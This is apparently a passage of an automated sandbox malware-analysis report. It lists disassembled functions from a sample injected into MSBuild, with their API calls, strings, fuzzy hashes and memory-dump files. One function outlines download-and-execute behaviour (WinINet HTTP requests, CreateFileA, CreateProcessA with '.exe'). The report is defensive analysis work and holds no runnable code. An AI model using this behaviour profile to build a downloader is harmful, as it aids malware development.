Associated: 00000003.00000002.2174458155.0000000000467000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2174458155.000000000046B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2174458155.000000000048F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2174458155.0000000000494000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2174458155.00000000004B3000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2174458155.00000000004D2000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2174458155.000000000056B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2174458155.0000000000656000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2174458155.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_MSBuild.jbxd

Yara matches

Similarity

API ID: CloseFileHandle$CreateSize
String ID:
API String ID: 4148174661-0
Opcode ID: 7686551e53b7644eb34baed25e55cd4cc7a7d590d99c042858ac62be5e4dc265
Instruction ID: 87089636491fbed30b1748ff62e0772d8b8c37abbef2c6f1f22f5f972430845f
Opcode Fuzzy Hash: 7686551e53b7644eb34baed25e55cd4cc7a7d590d99c042858ac62be5e4dc265
Instruction Fuzzy Hash: 29F0A731641314FBFB14D7A0DD09FDA7AADEB08761F200250FE01E61D0D7B06F818669

Function 6CBF85B0 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 133COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(00000028,?,?,?), ref: 6CBF85D3

Part of subcall function 6CBBCA10: malloc.MOZGLUE(?), ref: 6CBBCA26

?_Xlength_error@std@@YAXPBD@Z.MSVCP140(map/set<T> too long,?,?,?), ref: 6CBF8725

Strings

map/set<T> too long, xrefs: 6CBF8720

Memory Dump Source

Source File: 00000003.00000002.2215664902.000000006CBA1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CBA0000, based on PE: true

Associated: 00000003.00000002.2215641140.000000006CBA0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.2215872054.000000006CC1D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.2215910000.000000006CC2E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.2215929799.000000006CC32000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6cba0000_MSBuild.jbxd

Similarity

API ID: Xlength_error@std@@mallocmoz_xmalloc
String ID: map/set<T> too long
API String ID: 3720097785-1285458680
Opcode ID: 2c4f65977c89c07c044eecee49d3c4295d2355a4e9f42f7e3ee675e235f16be8
Instruction ID: 3860c366f10bf2cfa0a298f9e044abd2a495845a4a45947ab7617d534d61e8a1
Opcode Fuzzy Hash: 2c4f65977c89c07c044eecee49d3c4295d2355a4e9f42f7e3ee675e235f16be8
Instruction Fuzzy Hash: B05156746046819FD701CF1AC084B59BBF1FF5A318F18C19AD8695BB52C736E88ACF92

Function 00412BF0 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 124processCOMMON

Download Yara Rule

APIs

Part of subcall function 004104E7: lstrcpyA.KERNEL32(00000000,00000000,?,0041718B,004366CD,?,?,?,?,0041869F), ref: 0041050D

Part of subcall function 00410519: lstrcpyA.KERNEL32(00000000,?,?,00401D07,?,00417731), ref: 00410538

Part of subcall function 00405237: GetProcessHeap.KERNEL32(00000000,05F5E0FF), ref: 0040527E
Part of subcall function 00405237: RtlAllocateHeap.NTDLL(00000000), ref: 00405285
Part of subcall function 00405237: InternetOpenA.WININET(?,00000000,00000000,00000000,00000000), ref: 004052A7
Part of subcall function 00405237: StrCmpCA.SHLWAPI(?), ref: 004052C1
Part of subcall function 00405237: InternetConnectA.WININET(?,?,?,00000000,00000000,00000003,00000000,00000000), ref: 004052F1
Part of subcall function 00405237: HttpOpenRequestA.WININET(?,GET,?,00000000,00000000,-00400100,00000000), ref: 00405330
Part of subcall function 00405237: InternetSetOptionA.WININET(00000000,0000001F,00010300,00000004), ref: 00405360
Part of subcall function 00405237: HttpSendRequestA.WININET(00000000,00000000,00000000,00000000,00000000), ref: 0040536B

Part of subcall function 00411C4A: GetSystemTime.KERNEL32(?,00436701,?), ref: 00411C79

Part of subcall function 00410609: lstrlenA.KERNEL32(?,00000000,?,?,?,?,004171AC,00436C18,00000000,004366CD,?,?,?,?,0041869F), ref: 0041061D
Part of subcall function 00410609: lstrcpyA.KERNEL32(00000000,?,?,?,?,?,004171AC,00436C18,00000000,004366CD,?,?,?,?,0041869F), ref: 00410645
Part of subcall function 00410609: lstrcatA.KERNEL32(?,00000000,?,?,?,?,004171AC,00436C18,00000000,004366CD,?,?,?,?,0041869F), ref: 00410650

Part of subcall function 004105C7: lstrcpyA.KERNEL32(00000000,?,0000000C,004176F9,004366DA), ref: 004105F5
Part of subcall function 004105C7: lstrcatA.KERNEL32(?,?), ref: 004105FF

Part of subcall function 0041058D: lstrcpyA.KERNEL32(00000000,?,00000000,004171CA,00436C18,00000000,004366CD,?,?,?,?,0041869F), ref: 004105BD

Part of subcall function 00412446: CreateFileA.KERNEL32(?,40000000,00000000,00000000,00000002,00000080,00000000,?,?,?,?,00414A8D), ref: 00412460

_memset.LIBCMT ref: 00412CDF
CreateProcessA.KERNEL32(00000000,?,00000000,00000000,00000001,00000020,00000000,00000000,?,?,00436710), ref: 00412D31

Strings

.exe, xrefs: 00412C3C

Memory Dump Source

Source File: 00000003.00000002.2174458155.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.2174458155.0000000000463000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2174458155.0000000000467000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2174458155.000000000046B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2174458155.000000000048F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2174458155.0000000000494000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2174458155.00000000004B3000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2174458155.00000000004D2000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2174458155.000000000056B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2174458155.0000000000656000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2174458155.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_MSBuild.jbxd

Yara matches

Similarity

API ID: lstrcpy$Internet$CreateHeapHttpOpenProcessRequestlstrcat$AllocateConnectFileOptionSendSystemTime_memsetlstrlen
String ID: .exe
API String ID: 2831197775-4119554291
Opcode ID: d7da8e02d0e8d8ed0478b8530d5419cd36353aa48a2fc0a0fd73fe35502d9329
Instruction ID: 607805de85d34077ac8010c86c96324dc0739edf941e59843d4d701679f3259e
Opcode Fuzzy Hash: d7da8e02d0e8d8ed0478b8530d5419cd36353aa48a2fc0a0fd73fe35502d9329
Instruction Fuzzy Hash: A3417372E00109BBDF11FBA6ED42ACE7775AF44308F510076F500B7191DAB86E8A8BD9

Function 6CBABD40 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 115COMMON

Download Yara Rule

APIs

?CreateDecimalRepresentation@DoubleToStringConverter@double_conversion@@ABEXPBDHHHPAVStringBuilder@2@@Z.MOZGLUE(00000000,?,?,?,?), ref: 6CBABDEB
?HandleSpecialValues@DoubleToStringConverter@double_conversion@@ABE_NNPAVStringBuilder@2@@Z.MOZGLUE ref: 6CBABE8F

Strings

0, xrefs: 6CBABE5B

Memory Dump Source

Source File: 00000003.00000002.2215664902.000000006CBA1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CBA0000, based on PE: true

Associated: 00000003.00000002.2215641140.000000006CBA0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.2215872054.000000006CC1D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.2215910000.000000006CC2E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.2215929799.000000006CC32000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6cba0000_MSBuild.jbxd

Similarity

API ID: String$Builder@2@@Converter@double_conversion@@Double$CreateDecimalHandleRepresentation@SpecialValues@
String ID: 0
API String ID: 2811501404-4108050209
Opcode ID: bdcf30e082ef42e69de4d93e79b0caee3df8d3c1ada1356130db3065e818465f
Instruction ID: d30d71ef0e75869c2a5f4335625d6d3dfd4b5ce918fd6839e8cd0bbed0c23438
Opcode Fuzzy Hash: bdcf30e082ef42e69de4d93e79b0caee3df8d3c1ada1356130db3065e818465f
Instruction Fuzzy Hash: D2418E71909789CFC701CF79C481A9BB7E4EF8A348F004A1DE9D567611D731994A8B82

Function 0040F093 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 63COMMON

Download Yara Rule

APIs

std::_Xinvalid_argument.LIBCPMT ref: 0040F0D6
_memmove.LIBCMT ref: 0040F104

Strings

string too long, xrefs: 0040F0D1

Memory Dump Source

Source File: 00000003.00000002.2174458155.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.2174458155.0000000000463000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2174458155.0000000000467000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2174458155.000000000046B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2174458155.000000000048F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2174458155.0000000000494000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2174458155.00000000004B3000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2174458155.00000000004D2000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2174458155.000000000056B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2174458155.0000000000656000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2174458155.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_MSBuild.jbxd

Yara matches

Similarity

API ID: Xinvalid_argument_memmovestd::_
String ID: string too long
API String ID: 256744135-2556327735
Opcode ID: 5bd3c72e2a2c28d7f98c1eadb8a5e2855416913c1cc93355d95e2efce2546025
Instruction ID: b8e333327a8be3efb5a61452340683a7f3e77127bc94f8cc85e467c2da99d15f
Opcode Fuzzy Hash: 5bd3c72e2a2c28d7f98c1eadb8a5e2855416913c1cc93355d95e2efce2546025
Instruction Fuzzy Hash: B611A375300201ABDB24DF2DD941929B369FF85354714413FF801ABBC2C779ED69C69A

Function 00411ECF Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 59COMMON

Download Yara Rule

APIs

malloc.MSVCRT ref: 00411EF9

Strings

image/jpeg, xrefs: 00411F21

Memory Dump Source

Source File: 00000003.00000002.2174458155.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.2174458155.0000000000463000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2174458155.0000000000467000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2174458155.000000000046B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2174458155.000000000048F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2174458155.0000000000494000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2174458155.00000000004B3000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2174458155.00000000004D2000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2174458155.000000000056B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2174458155.0000000000656000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2174458155.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_MSBuild.jbxd

Yara matches

Similarity

API ID: malloc
String ID: image/jpeg
API String ID: 2803490479-3785015651
Opcode ID: 6b72b0d373d1163626baf5e7838df7277c332a4d567d67e2b356543416a513d9
Instruction ID: 1c9963d8e1bd3712552ddde0994ffc3eb950a7432bc1cc1e62e4a2615aecff81
Opcode Fuzzy Hash: 6b72b0d373d1163626baf5e7838df7277c332a4d567d67e2b356543416a513d9
Instruction Fuzzy Hash: 5A11A572910108FFCB10CFA5CD848DEBB7AFE05361B21026BEA11A21A0D7769E81DA54

Function 0040F128 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 56COMMON

Download Yara Rule

APIs

std::_Xinvalid_argument.LIBCPMT ref: 0040F13E

Part of subcall function 0042ED65: std::exception::exception.LIBCMT ref: 0042ED7A
Part of subcall function 0042ED65: __CxxThrowException@8.LIBCMT ref: 0042ED8F
Part of subcall function 0042ED65: std::exception::exception.LIBCMT ref: 0042EDA0

Part of subcall function 0040F238: std::_Xinvalid_argument.LIBCPMT ref: 0040F242

_memmove.LIBCMT ref: 0040F190

Strings

invalid string position, xrefs: 0040F139

Memory Dump Source

Source File: 00000003.00000002.2174458155.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.2174458155.0000000000463000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2174458155.0000000000467000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2174458155.000000000046B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2174458155.000000000048F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2174458155.0000000000494000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2174458155.00000000004B3000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2174458155.00000000004D2000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2174458155.000000000056B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2174458155.0000000000656000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2174458155.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_MSBuild.jbxd

Yara matches

Similarity

API ID: Xinvalid_argumentstd::_std::exception::exception$Exception@8Throw_memmove
String ID: invalid string position
API String ID: 3404309857-1799206989
Opcode ID: 11bcbbf4e3385ff2571c5c45c4b2439a3f96e274cabb5125d6892df765bbcaf0
Instruction ID: 943bf7d0d5a8fabe028b1a780fc3b1132d50164a8b8b874ee1f3eb6896142e72
Opcode Fuzzy Hash: 11bcbbf4e3385ff2571c5c45c4b2439a3f96e274cabb5125d6892df765bbcaf0
Instruction Fuzzy Hash: 0611E131304210EBDB24DE6CD9809697365AF45324744067BF815EFAC2C33CED458B9A

Function 6CBE3CF0 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 55COMMON

Download Yara Rule

APIs

_errno.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6CBE3D19
mozalloc_abort.MOZGLUE(?), ref: 6CBE3D6C

Strings

d, xrefs: 6CBE3D58

Memory Dump Source

Source File: 00000003.00000002.2215664902.000000006CBA1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CBA0000, based on PE: true

Associated: 00000003.00000002.2215641140.000000006CBA0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.2215872054.000000006CC1D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.2215910000.000000006CC2E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.2215929799.000000006CC32000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6cba0000_MSBuild.jbxd

Similarity

API ID: _errnomozalloc_abort
String ID: d
API String ID: 3471241338-2564639436
Opcode ID: 86474ba4cf39d29bf17b379f293b7b2520dbd974faf4b09906a32025d32cb6dd
Instruction ID: c703215a12ac97cc956ad4084edf592917cabb6de891120eaa346e4f297fcab3
Opcode Fuzzy Hash: 86474ba4cf39d29bf17b379f293b7b2520dbd974faf4b09906a32025d32cb6dd
Instruction Fuzzy Hash: B0113431E046D8DBDB018B69C8144EDB375EF9A758B458318DC4497612EB30A9C4C350

Function 0041C37F Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 48fileCOMMON

Download Yara Rule

APIs

_memmove.LIBCMT ref: 0041C3AC
ReadFile.KERNEL32(00000000,00CD2534,?,?,00000000,00004000,?,0041C568,00004000,00000008,00000000,00CD24A0,?,?), ref: 0041C3E2

Strings

1zXIV22uf8k30T/rnb/8Aoo1xNfQZXdUpRb2bX5Hx2fJfWYySteKb+9hRRRXpnhhRRn2pM0hi/jSUlFMBc0hNFFIYlFFFABRRSGgAooooGFJRRQAUUUnegYUUUUAB6UlKaSgYUlLSGgAoooNAxKKKKBhSUUUwCkpTSUDCkoNFABSUtJQAUhpaQ0DCkpaSgYUhpaSgYUGikpgFJS0lAwPSkpaSgYUlLSUAFJSmkoGJRRRQMSiiigYlFFJQAUlBooGFJRR, xrefs: 0041C3F1

Memory Dump Source

Source File: 00000003.00000002.2174458155.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.2174458155.0000000000463000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2174458155.0000000000467000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2174458155.000000000046B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2174458155.000000000048F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2174458155.0000000000494000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2174458155.00000000004B3000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2174458155.00000000004D2000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2174458155.000000000056B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2174458155.0000000000656000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2174458155.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_MSBuild.jbxd

Yara matches

Similarity

API ID: FileRead_memmove
String ID: 1zXIV22uf8k30T/rnb/8Aoo1xNfQZXdUpRb2bX5Hx2fJfWYySteKb+9hRRRXpnhhRRn2pM0hi/jSUlFMBc0hNFFIYlFFFABRRSGgAooooGFJRRQAUUUnegYUUUUAB6UlKaSgYUlLSGgAoooNAxKKKKBhSUUUwCkpTSUDCkoNFABSUtJQAUhpaQ0DCkpaSgYUhpaSgYUGikpgFJS0lAwPSkpaSgYUlLSUAFJSmkoGJRRRQMSiiigYlFFJQAUlBooGFJRR
API String ID: 1325644223-75947119
Opcode ID: 209a53b9e1b111086224e124fb1047eee8a4ddafa2fc9a4c657e6f9d9a1dcdb4
Instruction ID: b9316c099da8b92ffcbac4d17360e9e3d03bbc8116dec767fe2bbc6b879e0b81
Opcode Fuzzy Hash: 209a53b9e1b111086224e124fb1047eee8a4ddafa2fc9a4c657e6f9d9a1dcdb4
Instruction Fuzzy Hash: EF01C4712407089BD7148F29CC81BABB3E9EF80740F04881EF967D7600DA34F88187A5

Function 0040F34D Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 47COMMON

Download Yara Rule

APIs

std::_Xinvalid_argument.LIBCPMT ref: 0040F35C

Part of subcall function 0042ED65: std::exception::exception.LIBCMT ref: 0042ED7A
Part of subcall function 0042ED65: __CxxThrowException@8.LIBCMT ref: 0042ED8F
Part of subcall function 0042ED65: std::exception::exception.LIBCMT ref: 0042EDA0

memmove.MSVCRT(0040EEBE,0040EEBE,C6C68B00,0040EEBE,0040EEBE,0040F15F,?,?,?,0040F1DF,?,?,?,74DF0440,?,-00000001), ref: 0040F392

Strings

invalid string position, xrefs: 0040F357

Memory Dump Source

Source File: 00000003.00000002.2174458155.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.2174458155.0000000000463000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2174458155.0000000000467000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2174458155.000000000046B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2174458155.000000000048F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2174458155.0000000000494000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2174458155.00000000004B3000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2174458155.00000000004D2000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2174458155.000000000056B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2174458155.0000000000656000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2174458155.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_MSBuild.jbxd

Yara matches

Similarity

API ID: std::exception::exception$Exception@8ThrowXinvalid_argumentmemmovestd::_
String ID: invalid string position
API String ID: 1659287814-1799206989
Opcode ID: 8d6f190ab6b2ba40715b33eca56b8a5e9ffc43c45ee1a123cf25a47b4358ef61
Instruction ID: af76378122cbc654785c4284bc1f2564db1dd501434687a4ca840133f71d0007
Opcode Fuzzy Hash: 8d6f190ab6b2ba40715b33eca56b8a5e9ffc43c45ee1a123cf25a47b4358ef61
Instruction Fuzzy Hash: 4601AD713107418BD7348E7899C491FB2A2EB85B20730493ED982D7B85DB7CE84E8798

Function 004282E9 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 45stringCOMMON

Download Yara Rule

APIs

strcpy_s.MSVCRT ref: 004282FE
__invoke_watson.LIBCMT ref: 00428352

Part of subcall function 0042818D: _strcat_s.LIBCMT ref: 004281AC

Strings

,NC, xrefs: 0042833D

Memory Dump Source

Source File: 00000003.00000002.2174458155.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.2174458155.0000000000463000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2174458155.0000000000467000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2174458155.000000000046B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2174458155.000000000048F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2174458155.0000000000494000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2174458155.00000000004B3000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2174458155.00000000004D2000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2174458155.000000000056B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2174458155.0000000000656000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2174458155.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_MSBuild.jbxd

Yara matches

Similarity

API ID: __invoke_watson_strcat_sstrcpy_s
String ID: ,NC
API String ID: 1132195725-1329140791
Opcode ID: 6e4e6a371cba90ef9ebeeb0ca97326c2cbf7688855193e91cf68080b76189653
Instruction ID: 9fd3745167120440bfdedbbf8520646eac0ac106fd9ee082a2a4634a1cd760c1
Opcode Fuzzy Hash: 6e4e6a371cba90ef9ebeeb0ca97326c2cbf7688855193e91cf68080b76189653
Instruction Fuzzy Hash: 9EF0F4725412187FDB116EA09C43EEF3B5AAF00354F88805AFD1886191DA379D60C754

Function 0042818D Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 34COMMONLIBRARYCODE

Download Yara Rule

APIs

_strcat_s.LIBCMT ref: 004281AC
__invoke_watson.LIBCMT ref: 004281C8

Strings

`8C, xrefs: 0042819E, 004281A4

Memory Dump Source

Source File: 00000003.00000002.2174458155.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.2174458155.0000000000463000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2174458155.0000000000467000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2174458155.000000000046B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2174458155.000000000048F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2174458155.0000000000494000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2174458155.00000000004B3000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2174458155.00000000004D2000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2174458155.000000000056B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2174458155.0000000000656000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2174458155.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_MSBuild.jbxd

Yara matches

Similarity

API ID: __invoke_watson_strcat_s
String ID: `8C
API String ID: 228796091-1339866851
Opcode ID: d2307989adf0da250e0c2039779c175f09f7b7af11d147463b8ee5fd369ca3e3
Instruction ID: d641333d3b05eb37c220185af6f0ca3676d28bda76794771061db1e67d1cdd83
Opcode Fuzzy Hash: d2307989adf0da250e0c2039779c175f09f7b7af11d147463b8ee5fd369ca3e3
Instruction Fuzzy Hash: D9E09273601219ABDB111E56EC419EF7719FFC0368B45043AFD1852001DB3699A29694

Function 6CC06DE0 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 30COMMON

Download Yara Rule

APIs

getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_DISABLE_WALKTHESTACK), ref: 6CC06E22
__Init_thread_footer.LIBCMT ref: 6CC06E3F

Strings

MOZ_DISABLE_WALKTHESTACK, xrefs: 6CC06E1D

Memory Dump Source

Source File: 00000003.00000002.2215664902.000000006CBA1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CBA0000, based on PE: true

Associated: 00000003.00000002.2215641140.000000006CBA0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.2215872054.000000006CC1D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.2215910000.000000006CC2E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.2215929799.000000006CC32000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6cba0000_MSBuild.jbxd

Similarity

API ID: Init_thread_footergetenv
String ID: MOZ_DISABLE_WALKTHESTACK
API String ID: 1472356752-1153589363
Opcode ID: e31b818e1b73b088e6645fa9cef59ff2cbc585342644bb651103e8e23c5d3c59
Instruction ID: ca73ea430772454a69905f1868829f4ff75f432eda34d9f2d0541349c71c2b0e
Opcode Fuzzy Hash: e31b818e1b73b088e6645fa9cef59ff2cbc585342644bb651103e8e23c5d3c59
Instruction Fuzzy Hash: F1F02E303057848FEB008FA8CA50E867772E713A18F040165C86086FA1E76AF987CB93

Function 0041F4D9 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 26COMMON

Download Yara Rule

APIs

DName::DName.LIBCMT ref: 0041F50E
DName::DName.LIBCMT ref: 0041F51A

Strings

{flat}, xrefs: 0041F509

Memory Dump Source

Source File: 00000003.00000002.2174458155.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.2174458155.0000000000463000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2174458155.0000000000467000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2174458155.000000000046B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2174458155.000000000048F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2174458155.0000000000494000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2174458155.00000000004B3000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2174458155.00000000004D2000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2174458155.000000000056B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2174458155.0000000000656000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2174458155.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

